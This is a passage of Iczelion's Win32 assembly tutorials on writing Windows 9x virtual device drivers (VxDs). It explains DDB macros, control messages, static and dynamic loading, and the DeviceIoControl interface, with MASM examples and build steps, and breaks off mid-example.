At first glance, the source code doesn't look like an asm source code. That's because of the use of macros. Let's analyze this source code and you'll soon understand it.

.386p
Tell the assembler that we want to use 80386 instruction set including the privileged CPU instructions. You can also use .486p or .586p.
include vmm.inc
You must include vmm.inc in every VxD source code because it contains the definitions of the macros you use in the source file. You can include other include files as needed.
DECLARE_VIRTUAL_DEVICE FIRSTVXD,1,0, FIRSTVXD_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER
As stated previously, the VMM learns everything it needs to know about a VxD from the VxD's device descriptor block (DDB). A device descriptor block is a structure that contains vital information about the VxD such as the VxD's name, its device ID, the entrypoints of its VxD services (if exist) and so on. You can look up this structure in vmm.inc. It's declared as VxD_Desc_Block. You'll export this structure in .DEF file. There are 22 members in this structure, but you'll usually need to fill only some of them. So vmm.inc contains a macro that will initialize and fill the structure members for you. That macro is D ECLARE_VIRTUAL_DEVICE. It has the following format:

Declare_Virtual_Device Name, MajorVer, MinorVer, CtrlProc, DeviceID, InitOrder, V86Proc, PMProc, RefData

One thing you can observe is that, the labels in VxD source code is case-insensitive. You can use upper- or lowercase characters or combination of them. Let's examine each parameter of Declare_virtual_device.

  • Name The name of the VxD. Maximum length is 8 characters. It MUST be uppercase. The name should be unique among the VxDs in the system. The macro also uses the name to create the name of the DDB by appending _DDB to the device name. So if you use FIRSTVXD as the name of the VxD, Declare_Virtual_Device macro will declare the name of the DDB as FIRSTVXD_DDB. Remember that, you will also have to export the DDB in .DEF file too. You have to match the label in the source file with the one in the .DEF file.
  • MajorVer and MinorVer The major and minor versions of your VxD
  • CtrlProc The name of the device control procedure for your VxD. A device control procedure is a function that receives and processes control messages for a VxD. You can think of a device control procedure as the window procedure equivalence. Since we will use Begin_Control_Dispatch macro to create our device control procedure, we should use the standard name which is in the form of VxDName_Control. Begin_Control_Dispatch macro appends _Control to the name passed to it ( and we usually pass the name of the VxD to it) so we should specify the name of our VxD appended by _Control in CtrlProc parameter.
  • DeviceID The 16-bit unique identifier of your VxD. You need the ID if and only if your VxD must handle one of the situations below
    • Your VxD exports VxD services for other VxDs to use. Since int 20h interface uses the device ID to locate/identify the VxD, it's imperative that your VxD must have a unique identifier.
    • Your VxD broadcasts your existence to real-mode applications during initialization with int 2Fh function 1607h.
    • Some real-mode software (TSR) will use int 2Fh, function 1605h to load your VxD.
    If your VxD doesn't need a unique device ID, you can specify UNDEFINED_DEVICE_ID in this field. If you do need a unique ID, you have to ask Microsoft for one
  • InitOrder Initialization order, or in short, load order. VMM loads VxDs in the order specified. Each VxD will have a load order number. For example,
      VMM_INIT_ORDER        EQU 000000000H
      DEBUG_INIT_ORDER      EQU 000000000H
      DEBUGCMD_INIT_ORDER   EQU 000000000H
      PERF_INIT_ORDER       EQU 000900000H
      APM_INIT_ORDER        EQU 001000000H

    You can see that VMM, DEBUG and DEBUGCMD are the first VxDs that are loaded, followed by PERF and APM. The VxD with lower value of initialization order is loaded first. If your VxD requires the services of other VxD during initialization, you should specify an initialization order value that is larger than that of the VxD you want to call so that by the time your VxD is loaded, that VxD is already there in memory, ready for you. If your VxD doesn't care about initialization order, specify UNDEFINED_INIT_ORDER in this parameter.

  • V86Proc and PMProc Your VxD can export API for use by V86 and protected-mode programs. V86Proc and PMProc specify the addresses of those API. Remember that, VxDs exist primarily for supervising VMs and a VM other than the system VM runs a DOS or protected-mode application. It stands to reason for VxDs to provide API support for DOS and protected-mode programs. If you don't export those API, you can omit these fields.
  • RefData Reference data used by Input Output Supervisor (IOS). The only occasion you would use this field is when you code a layer block driver for use with IOS. You can omit this field if your VxD is not a layer driver.
Next we have Begin_Control_Dispatch macro.
Begin_control_dispatch FIRSTVXD
End_control_dispatch FIRSTVXD
This macro and its counterpart define the device control procedure which is the function that VMM calls when there are control messages for your VxD. You must specify the first half of the name of the device control procedure, in our example we use FIRSTVXD. The macro will append _Control to the name you supplied.This name must match the one you specify in CtrlProc parameter of Declare_virtual_device macro. The device control procedure is always in a locked segment (VxD_LOCKED_CODE_SEG). The above device control procedure does nothing. You have to specify what control messages your VxD is interested in handling and the functions that will handle them. You use Control_Dispatch macro for this purpose.
Control_Dispatch message, function
For example, if your VxD processes only Device_Init message, your device control procedure would look like this:
Begin_Control_Dispatch FIRSTVXD
Control_Dispatch Device_Init, OnDeviceInit
End_Control_DispatchFIRSTVXD
OnDeviceInit is the name of the function that will handle Device_Init message. You can name your function anything you like.
You end the VxD source code with end directive.
To recapitulate, at a minimum, a VxD must have a device control block and a device control procedure. You declare a device control block with Declare_Virtual_Device macro and a device control procedure with Begin_Control_Dispatch macro. You must export the device control block by specifying its name under EXPORTS directive in .DEF file.

Assembling the VxD

The assembling process is the same as the one used in assembling normal win32 applications. You invoke ml.exe on the asm source code and then link the object file with link.exe. The differences are in the command line switches used by ml.exe and link.exe

ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 firstvxd.asm

-coff Specify the COFF object format
-c Assemble only. Do not call the linker to link the object file, since we will call link.exe later with more parameters.
-Cx Preserve the case of public, extern labels.
-D<text> defines a text macro. For example, -DBLD_COFF defines a text macro BLD_COFF which will be used in conditional assembly. If you're interested, you can search for BLD_COFF in the include files and see for yourself what effect it has on the assembly process. So in the command line switches above, three text macros are defined: BLD_COFF, IS_32, and MASM6. If you're familiar with C, this process is identical to:

#define BLD_COFF
#define IS_32
#define MASM6
link -vxd -def:firstvxd.def firstvxd.obj

-vxd specifies that we want to build a VxD from the object file
-def:<.DEF file> specifies the name of the module definition file of the VxD

I find it more convenient to use makefile but you can create a batch file to automate the assembling process if you don't like makefile approach. Here's my makefile.

NAME=firstvxd

$(NAME).vxd:$(NAME).obj
link -vxd -def:$(NAME).def $(NAME).obj

$(NAME).obj:$(NAME).asm
ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 $(NAME).asm

[Iczelion's Win32 Assembly Homepage]


Virtual Device Driver Programming: Primer

VxD Programming: Primer

We know how to build a VxD which does nothing. In this tutorial, we will make it more productive by adding control message handlers.

VxD Initialization and Termination

There are two types of VxD: static and dynamic. Each type has different load method. They also receive different initialization and termination control messages.

Static VxD:

VMM loads a static VxD when:
  • A real-mode resident programs issue int 2Fh, 1605h to load it
  • The VxD is specified in the registry under the key:
      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\key\StaticVxD=pathname
  • The VxD is specified in system.ini under [386enh] section:

      • device=pathname
During development period, I suggest you load the VxD from system.ini because if something goes wrong with your VxD to the extent that Windows cannot start, you can edit system.ini from DOS. You can't do that with the registry loading method.
When the VMM loads your static VxD, your VxD will receive three system control messages in the following order:
  • Sys_Critical_Init VMM sends this control message after switching into protected mode but before enabling interrupts. Most VxDs don't need to handle this message except when:
    • Your VxD hooks some interrupts that will be called later by other VxDs or protected mode programs. Since the interrupts are disabled when you process this control message, you can be sure that the interrupts you're hooking won't be called during the time you're hooking them.
    • Your VxD provides some VxD services that will be called during initialization by other VxDs. For example, some VxD that loads after your VxD may need to call one of your VxD's services during Device_Init control message processing. Since Sys_Critical_Init message is sent before Device_Init message, you must initialize your services during Sys_Critical_Init message.
    If you process this message, you should do your initialization as quickly as possible to prevent hardware interrupt losses due to excessive latency. (Remember: the interrupts are disabled)
  • Device_Init VMM sends this control message after the interrupts are enabled. Most VxDs perform initialization in response to this message. Because the interrupts are enabled, time-consuming operations can be done without the fear of losing hardware interrupts. You should do your initialization here (if needed).
  • Init_Complete After all VxDs processed Device_Init message but before the VMM releases all initialization segments (ICODE and RCODE segment classes), the VMM sends this control message. Few VxDs need to process this message.
Your VxD must clear the carry flag if the initialization is successful else you must set the carry flag in case of error before returning. You don't have to process any of the three initialization messages if your VxD doesn't need any initialization.
When it's time to terminate the static VxD, the VMM sends the following control messages:
  • System_Exit2 When your VxD receives this message, Windows 95 is about to shut down. All other VMs except the system VM are already destroyed. However the CPU is still in protected mode and it's still safe to execute real-mode code in the system VM. Kernel32.dll was already unloaded by this time.
  • Sys_Critical_Exit2 Your VxD receives this message when all VxDs have processed System_Exit2 and the interrupts are disabled.
Most VxDs don't need to process those two messages, except when you want to prepare the system to enter real mode. You should know that when Windows 95 shuts down, it enters real mode. So if your VxD did something to the real-mode image that will make it unstable, it should restore the change during this time.
You may wonder why those two exit messages have "2" appended to them.Remember that when the VMM loads the static VxDs, it loads the VxDs with the lower initialization order first so that the VxDs can rely upon services of the VxDs that load before them. For example, if VxD2 relies on the services of VxD1, it must specify its initialization order to be larger than that of VxD1. The load order would be:
..... VxD1 ===> VxD2 ===> VxD3 .....
Now during unloading, it stands to reason that the VxDs that initialize later should uninitialize first so that they may still call VxD services of the VxDs that were loaded before them. In the above example, the order should be:
.... VxD3 ===> VxD2 ===> VxD1.....
In the above example, if VxD2 called some VxD1's services during initialization, it may need to rely on VxD1's services again during unloading. System_Exit2 and Sys_Critical_Exit2 are sent in reverse initialization order. It means that, when VxD2 receives those messages, VxD1 hasn't done uninitialization yet and it can still call VxD1's services. System_Exit and Sys_Critical_Exit messages are not sent in reverse initialization order. It means that when you process those two messages, you can't be sure that you can still call VxD's services of the VxDs that were loaded before you. Those messages should not be used for newer VxDs.
There are two more exit messages:
  • Device_Reboot_Notify2 Notifies the VxD that the VMM is going to restart the system. The interupts are still enabled during this time.
  • Crit_Reboot_Notify2 Notifies the VxD that the VMM is going to restart the system. The interrupts are disabled.
By now, you should be able to guess that there are Device_Reboot_Notify and Crit_Reboot_Notify messages but they are not sent in reverse initialization order as the "2" version.

Dynamic VxD:

Dynamic VxDs can be dynamically loaded and unloaded during Windows 9x sessions. This feature is not available under Windows 3.x. The primary goal of dynamic VxDs is to support dynamic hardware reconfiguration such as Plug and Play devices. However, you can load/unload them from your win32 applications as well, making them ideal as your applications' ring-0 extension.
The example in the previous tutorial is a static VxD. You can convert the example into a dynamic VxD by adding the keyword DYNAMIC to the VXD statement in .DEF file.
VXD FIRSTVXD DYNAMIC
That's all you have to do to convert a static VxD into a dynamic one.
Dynamic VxD can be loaded by:
  • Putting it in \SYSTEM\IOSUBSYS folder in your Windows folder. The VxDs in this folder will be loaded by Input Output Supervisor (IOS). The VxDs in this folder should support layer device drivers so it may not be a good idea to load your dynamic VxD this way.
  • Using VxD Loader service. VxDLDR is a static VxD that can load dynamic VxDs. You can call its services from other VxDs or from 16-bit code.
  • Using CreateFile API from a Win32 application. You specify the dynamic VxD you want to load to CreateFile in the format below:

      • \\.\pathname

    For example, if you want to load a dynamic VxD named FirstVxD which is in the current directory, you should do it as follows:

    .data
    VxDName db "\\.\FirstVxD.VXD",0
    ......
    .data?
    hDevice dd ?
    .....
    .code
    .....
    invoke CreateFile, addr VxDName,0,0,0,0, FILE_FLAG_DELETE_ON_CLOSE,0
    mov hDevice,eax
    ......
    invoke CloseHandle,hDevice
    ......

FILE_FLAG_DELETE_ON_CLOSE flag specifies that the VxD is unloaded when the handle returned by CreateFile is closed.
If you use CreateFile to load a dynamic VxD, the VxD must handle w32_DeviceIoControl message. VWIN32 sends this control message to your dynamic VxD when it is first loaded by CreateFile method. Your VxD must return 0 in eax in response to this message. w32_DeviceIoControl messages are also sent when the application calls DeviceIoControl API to communicate with the VxD. We will examine DeviceIoControl interface in the later tutorial.
A dynamic VxD receives one message during initialization:
  • Sys_Dynamic_Device_Init
And one control message during termination:
  • Sys_Dynamic_Device_Exit
A dynamic VxD won't receive Sys_Critical_Init, Device_Init and Init_Complete control messages because those messages are sent during system VM initialization. Other than that, dynamic VxDs receives all other control messages when it's in memory. It can do anything a static VxD can do. In short, a dynamic VxD is loaded with different mechanisms and receives different initialization/termination control messages, other than that, it can do anything a static VxD can do.

Other System Control Messages

During the time a VxD stays in memory, it will receive many control messages other than those related to initialization and termination. Some of them are related to virtual machine management and some to miscellaneous events. For example, VM-related control messages are:
  • Create_VM
  • VM_Critical_Init
  • VM_Suspend
  • VM_Resume
  • Close_VM_Notify
  • Destroy_VM
It's your responsibility to choose to respond to the control messages you're interested in.

Creating procedures inside VxD

You declare a procedure in VxD inside a segment. You should define a segment first and then put your procedure inside it. For example, if you want your function to be in a pageable segment, you should define a pageable segment first, like this:
VxD_PAGEABLE_CODE_SEG

[Your procedure here]

VxD_PAGEABLE_CODE_ENDS

You can put many procedures inside a segment. You as the VxD writer must decide in which segment you should put your procedures. If your procedures must be in memory at all time such as hardware interrupt handlers, put them in a locked segment. Otherwise you should put them in the pageable segment.
You define your procedure with BeginProc and EndProc macros.
BeginProc name

EndProc name

name is the name of your procedure. BeginProc macro can take several more parameters, you should consult Win95 DDK documentation for detail. But most of the time, you can get by with only the name of the procedure.
You should use BeginProc-EndProc macros instead of the normal proc-endp directives because BeginProc-EndProc macros provide more functionality than proc-endp.

VxD Coding Convention

Register Usage

Your VxD can use any general register, FS and GS. But you should beware about modifying segment registers. Especially, you should definitely not alter CS and SS unless you are quite positive you know what you're doing. You can use DS and ES so long as you remember to restore their values when you return. Two flags are especially important: direction and interrupt flags. You should not disable interrupts for an extended period of time and if you modify the direction flag, don't forget to restore its previous state before you return.

Parameter-passing Convention

There are two calling conventions for VxD services: register-based and stack-based. With register-based services, you pass parameters to the services via various registers and you can check the carry flag after calling the service to see if the operation is successful. You can not assume that the values in the general registers will be preserved after calling the services. With stack-based services, you push the parameters on the stack and you got the return value in eax. Stack-based services preserve ebx, esi, edi and ebp. Most of the register-based services originate from Windows 3.x days. Most of the time, you can differentiate between those two kinds of services by looking at the names. If the name of the service begins with an underscore like _HeapAllocate, it's a stack-based (C) service (except for a few services exported by VWIN32.VXD). If the service name doesn't begin with an underscore, it's a register-based service.

Calling VxD Services

You call VMM and VxD services by using VMMCall and VxDCall macros. Both macros have exactly the same syntax. You use VMMCall when you want to call VxD services exported by VMM and you use VxDCall when you call services exported by VxDs other than the VMM.
VMMCall service ; for calling register-based service
VMMCall _service, <argument list> ; for calling stack-based service
VMMCall and VxDCall decompose to int 20h followed by a dword that I described in the previous tutorial but they are much more convenient to use. In the case of stack-based services, you must enclose the argument list with a pair of angle bracket.
VMMCall _HeapAllocate, <<size mybuffer>, HeapLockedIfDP>
_HeapAllocate is a stack-based service. It accepts two parameters. We must enclose them inside an angle bracket. However, the first parameter is an expression that the macro may interpret incorrectly, so we put it inside another angle bracket.

Flat Addresses

In older tools, the assembler and linker generate incorrect addresses when you use offset operator. So VxD programmers use offset flat: instead of offset. vmm.inc contains a macro to make it easier. OFFSET32 expands to offset flat:. So if you want to use offset operator, you should use OFFSET32 instead.

Note: I experimented with offset operator when I wrote this tutorial. It generated correct addresses so I think the bug has been removed in MASM 6.14. But just to play safe, you should use OFFSET32 macro instead of the plain offset.

[Iczelion's Win32 Assembly Homepage]


VxD Example: MessageBox

In the previous tutorials, you learn about mechanics of VxD programming. Now is the time to apply what you have learned. In this tutorial, we will create a simple static VxD which will display a message box whenever a VM is created/destroyed.
Download the example here.

Trapping VM creation and termination events

When a VM is created, the VMM sends Create_VM control message to all VxDs. Also when a VM is terminated normally, it sends VM_Terminate and VM_Terminate2 to all VxDs. Our job is easy: Process Create_VM and VM_Terminate2 messages in our device control procedure. When our VxD receives those two control messages, it displays a message box on the screen.
When our VxD receives Create_VM or VM_Terminate2 message, ebx contains the handle of the VM. A VM handle can be considered as the unique ID of the VM. Each VM has its unique ID (VM handle). You can use VM handle in the same manner as you use a process ID, by passing it as a parameter to the services that need it.
On closer examination, a VM handle is actually the 32-bit linear address of the VM control block (VMCB).
VM Control Block is a structure that contains several important items about the VM. It's defined as:
    cb_s STRUC
    CB_VM_Status        DD ?
    CB_High_Linear      DD ?
    CB_Client_Pointer   DD ?
    CB_VMID             DD ?
    CB_Signature        DD ?
    cb_s ENDS
  • CB_VM_Status contains the bit flags that you can examine to find out about the state of the VM.
  • CB_High_Linear is the starting linear address of the mirror of the VM in the shared system region (above 3 GB). This concept requires an explanation. Under Windows 95, a VxD should not touch the V86 region directly instead the VMM maps the whole V86 region of every VM to the shared system region. When a VxD wants to modify/touch the memory in V86 region of the VM, it should do so to the high-linear area of the VM. For example, if the video memory is at 0B8000h and your VxD needs to touch that area, it should add the value in CB_High_Linear to 0B8000h and touch that area instead. The changes you made to the high-linear mirror will be reflected to the VM because both areas share the same page directory entry. Using the high-linear mirror is better in most situation because you can modify the VM even if it's not the current VM.
  • CB_Client_Pointer contains the address of the client register structure. The client register structure contains the values of all registers of the interrupted V86 or protected mode application in the VM. If your VxD wants to know/modify the state of the V86 or PM application, it can modify the members of the client register structure and the changes will propagate to the application when the VMM resumes its execution.
  • CB_VMID The numeric identifer of the VM. The VMM assigns this number when it creates the VM. The system VM has the VMID of 1.
  • CB_Signature contains the string "VMcb". This member is used in checking if the VM handle is valid.

Displaying a MessageBox

A VxD can use Virtual Shell Device services to communicate to the users. One such service we will use in this example is SHELL_Message.
SHELL_Message is a register-based service. You pass parameters to it via registers.
  • ebx Handle of the VM that is responsible for the message
  • eax MessageBox flags. You can look them up in shell.inc. They start with MB_.
  • ecx 32-bit linear address of the message to display
  • edi 32-bit linear address of the message box caption
  • esi 32-bit linear address of the callback function in case you need to know the response of the user to the message box. If you don't want to know, use NULL.
  • edx Reference data that will be passed to your callback (if you specify one in esi)
On return, the carry flag is clear if the call is successful. The carry flag is set otherwise.

The example

.386p
include vmm.inc
include shell.inc

DECLARE_VIRTUAL_DEVICE MESSAGE,1,0, MESSAGE_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch MESSAGE
Control_Dispatch Create_VM, OnVMCreate
Control_Dispatch VM_Terminate2, OnVMClose
End_control_dispatch MESSAGE

VxD_PAGEABLE_DATA_SEG
MsgTitle db "VxD MessageBox",0
VMCreated db "A VM is created",0
VMDestroyed db "A VM is destroyed",0
VxD_PAGEABLE_DATA_ENDS

VxD_PAGEABLE_CODE_SEG
BeginProc OnVMCreate
mov ecx, OFFSET32 VMCreated
CommonCode:
VMMCall Get_sys_vm_handle
mov eax,MB_OK+MB_ICONEXCLAMATION
mov edi, OFFSET32 MsgTitle
xor esi,esi
xor edx,edx
VxDCall SHELL_Message
ret
EndProc OnVMCreate

BeginProc OnVMClose
mov ecx,OFFSET32 VMDestroyed
jmp CommonCode
EndProc OnVMClose
VxD_PAGEABLE_CODE_ENDS

end

Analysis:

Begin_control_dispatch MESSAGE
Control_Dispatch Create_VM, OnVMCreate
Control_Dispatch VM_Terminate2, OnVMClose
End_control_dispatch MESSAGE
The VxD processes two control messages, Create_VM and VM_Terminate2. When Create_VM control message is received, it calls OnVMCreate procedure. And when it receives VM_Terminate2 message, it calls OnVMClose procedure.
VxD_PAGEABLE_DATA_SEG
MsgTitle db "VxD MessageBox",0
VMCreated db "A VM is created",0
VMDestroyed db "A VM is destroyed",0
VxD_PAGEABLE_DATA_ENDS
We put the data in the pageable data segment.
BeginProc OnVMCreate
mov ecx, OFFSET32 VMCreated
CommonCode:
VMMCall Get_sys_vm_handle
mov eax,MB_OK+MB_ICONEXCLAMATION
mov edi, OFFSET32 MsgTitle
xor esi,esi
xor edx,edx
VxDCall SHELL_Message
ret
EndProc OnVMCreate
OnVMCreate procedure is created using BeginProc and EndProc macros. It puts the parameters for SHELL_Message service into the registers. Since we want to display the message box in the system VM, we cannot use the value in ebx (which is the handle of the VM that is being created). Instead, we use a VMM service, Get_Sys_VM_Handle, to obtain the VM handle of the system VM. This service returns the VM handle in ebx. We put the addresses of the message and the caption into ecx and edi, respectively. We don't want to know the response of the user, so we zero out esi and edx. When all parameters are in the appropriate registers, we call SHELL_Message to display the message box.
BeginProc OnVMClose
mov ecx,OFFSET32 VMDestroyed
jmp CommonCode
EndProc OnVMClose
OnVMClose procedure is simplicity in itself. Since it uses identical code as OnVMCreate, it initializes ecx with the address of the different message and then jumps to the code inside OnVMCreate.

Module Definition File

VXD MESSAGE

SEGMENTS
    _LPTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA    CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT       CLASS 'ICODE'    DISCARDABLE
    _IDATA       CLASS 'ICODE'    DISCARDABLE
    _PTEXT       CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA    CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA       CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT       CLASS 'SCODE'    RESIDENT
    _SDATA       CLASS 'SCODE'    RESIDENT
    _DBOSTART    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE     CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE       CLASS 'RCODE'

EXPORTS

    MESSAGE_DDB  @1

Assembling process

ml -coff -c -Cx -DMASM6 -DBLD_COFF -DIS_32 message.asm

link -vxd -def:message.def message.obj

VxD Installation

  1. Put message.vxd in \system folder
  2. add the following line inside [386enh] section of system.ini
      3. device=message.vxd
  3. reboot your computer

Testing the VxD

Create a DOS box. You will see the message box, displaying the message, "A VM is created". When you close the DOS box, a message box appears with the message, "A VM is destroyed".
[Iczelion's Win32 Assembly Homepage]


Dynamic VxD and DeviceIoControl Interface

DeviceIoControl Interface

We will learn about dynamic VxD in this tutorial. Specifically, we will learn how to create, load and use them.
Download the example here.

VxD Interfaces

There are a total of 4 interfaces that VxD provides.
  • VxD services
  • V86 Interface
  • Protected-mode (PM) Interface
  • Win32 DeviceIoControl Interface
We already know about VxD services. V86 and PM interfaces are functions that are callable from V86 and PM applications respectively. Since V86 and PM applications are 16-bit, we cannot use those two interfaces from a win32 application. With Windows 95, Microsoft adds an another interface for win32 applications so they can call on the services of VxDs: DeviceIoControl Interface.

DeviceIoControl Interface

To put it simply, the DeviceIoControl interface is a way for win32 applications to call functions inside VxDs. Don't confuse functions called via DeviceIoControl with VxD services: they are not the same. For example, DeviceIoControl function 1 may not be the same as VxD service 1. You should think of DeviceIoControl functions as a separate group of functions, provided for use by win32 applications only.
Since it's an interface, there are two sides:

On the win32 application side:

It has to call CreateFile to open/load the VxD first. If the call is successful, the VxD will be in memory and CreateFile returns the handle to the VxD in eax.
Next you call DeviceIoControl API function to select the function to execute. DeviceIoControl has the following syntax:
    DeviceIoControl PROTO hDevice:DWORD,\
    dwIoControlCode:DWORD,\
    lpInBuffer:DWORD,\
    nInBufferSize:DWORD,\
    lpOutBuffer:DWORD,\
    nOutBufferSize:DWORD,\
    lpBytesReturned:DWORD,\
    lpOverlapped:DWORD
  • hDevice is the handle of the VxD returned from CreateFile
  • dwIoControlCode is the value that specifies the operation the VxD should perform. You must somehow obtain the list of possible dwIoControlCode values for a VxD before you know what operation you should select. But most of the time, you're the one who codes the VxD so you know the list of all possible dwIoControlCode values.
  • lpInBuffer is the address of the buffer that contains the data the VxD needs to use to perform the operation specified in dwIoControlCode. If the operation doesn't need data, you can pass NULL.
  • nInBufferSize is the size, in bytes, of the data in the buffer pointed to by lpInBuffer.
  • lpOutBuffer is the address of the buffer that the VxD will fill with the output data when the operation is successful. If the operation doesn't have any data to return, this field can be NULL.
  • nOutBufferSize is the size, in bytes, of the buffer pointed to by lpOutBuffer
  • lpBytesReturned is the address of a dword variable that will receive the size of data the VxD filled into lpOutBuffer.
  • lpOverlapped is the address of the OVERLAPPED structure if you want the operation to be asynchronous. If you want to wait until the operation is finished, put NULL in this field.

On the VxD side:

It must process w32_deviceIoControl message. When the VxD receives w32_deviceIoControl message, its registers have the following values:
  • ebx contains the VM handle.
  • esi is the pointer to DIOCParams structure which contains information passed from the win32 application.
DIOCParams is defined as follows:
    DIOCParams STRUC
        Internal1          DD ?
        VMHandle           DD ?
        Internal2          DD ?
        dwIoControlCode    DD ?
        lpvInBuffer        DD ?
        cbInBuffer         DD ?
        lpvOutBuffer       DD ?
        cbOutBuffer        DD ?
        lpcbBytesReturned  DD ?
        lpoOverlapped      DD ?
        hDevice            DD ?
        tagProcess         DD ?
    DIOCParams ENDS
  • Internal1 is the pointer to the client register structure of the win32 application
  • VMHandle no explanation needed
  • Internal2 is the pointer to device descriptor block (DDB)
  • dwIoControlCode, lpvInBuffer, cbInBuffer, lpvOutBuffer, cbOutBuffer, lpcbBytesReturned, lpOverlapped are the parameters that were passed to DeviceIoControl API call.
  • hDevice is the ring-3 device handle
  • tagProces is the process tag
From DIOCParams structure, you have all the information the win32 application passed to your VxD.
Your VxD must at least process DIOC_Open (a value passed in dwIoControlCode) which VWIN32 will send to your VxD when a win32 application calls CreateFile to open your VxD. If your VxD is ready, it must return 0 in eax and CreateFile call will be successful. If your VxD is not ready, it must return a nonzero value in eax and CreateFile will fail. Other than DIOC_Open, your VxD will receive DIOC_Closehandle code from VWIN32 when the win32 application closes the device handle.

Minimum dynamic VxD skeleton that is loadable by CreateFile

.386p
include vmm.inc
include vwin32.inc

DECLARE_VIRTUAL_DEVICE DYNAVXD,1,0, DYNAVXD_Control,\
UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch DYNAVXD
Control_Dispatch w32_DeviceIoControl, OnDeviceIoControl
End_control_dispatch DYNAVXD

VxD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax
.endif
ret
EndProc OnDeviceIoControl
VxD_PAGEABLE_CODE_ENDS

end

;--------------------------------------------------------------------------------------------------------------------------------
; Module Definition File
;---------------------------------------------------------------------------------------------------------------------------------
VXD DYNAVXD DYNAMIC

SEGMENTS
    _LPTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS         CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA    CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA    CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT       CLASS 'ICODE'    DISCARDABLE
    _IDATA       CLASS 'ICODE'    DISCARDABLE
    _PTEXT       CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA    CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA       CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT       CLASS 'SCODE'    RESIDENT
    _SDATA       CLASS 'SCODE'    RESIDENT
    _DBOSTART    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA     CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE     CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE       CLASS 'RCODE'

EXPORTS
    DYNAVXD_DDB  @1

Full Example

Below are the source code of the win32 application that loads a dynamic VxD and calls a function in the VxD via DeviceIoControl API.

; VxDLoader.asm

.386
.model flat,stdcall
include windows.inc
include kernel32.inc
includelib kernel32.lib
include user32.inc
includelib user32.lib

.data
AppName db "DeviceIoControl",0
VxDName db "\\.\shellmsg.vxd",0
Success db "The VxD is successfully loaded!",0
Failure db "The VxD is not loaded!",0
Unload db "The VxD is now unloaded!",0
MsgTitle db "DeviceIoControl Example",0
MsgText db "I'm called from a VxD!",0
InBuffer dd offset MsgTitle
dd offset MsgText
.data?
hVxD dd ?
.code
start:
invoke CreateFile,addr VxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
.if eax!=INVALID_HANDLE_VALUE
mov hVxD,eax
invoke MessageBox,NULL,addr Success,addr AppName,MB_OK+MB_ICONINFORMATION
invoke DeviceIoControl,hVxD,1,addr InBuffer,8,NULL,NULL,NULL,NULL
invoke CloseHandle,hVxD
invoke MessageBox,NULL,addr Unload,addr AppName,MB_OK+MB_ICONINFORMATION
.else
invoke MessageBox,NULL,addr Failure,NULL,MB_OK+MB_ICONERROR
.endif
invoke ExitProcess,NULL
end start

Below is the source code of the dynamic VxD that is called by vxdloader.asm
; ShellMsg.asm
.386p
include vmm.inc
include vwin32.inc
include shell.inc

DECLARE_VIRTUAL_DEVICE SHELLMSG,1,0, SHELLMSG_Control,\
UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch SHELLMSG
Control_Dispatch w32_DeviceIoControl, OnDeviceIoControl
End_control_dispatch SHELLMSG

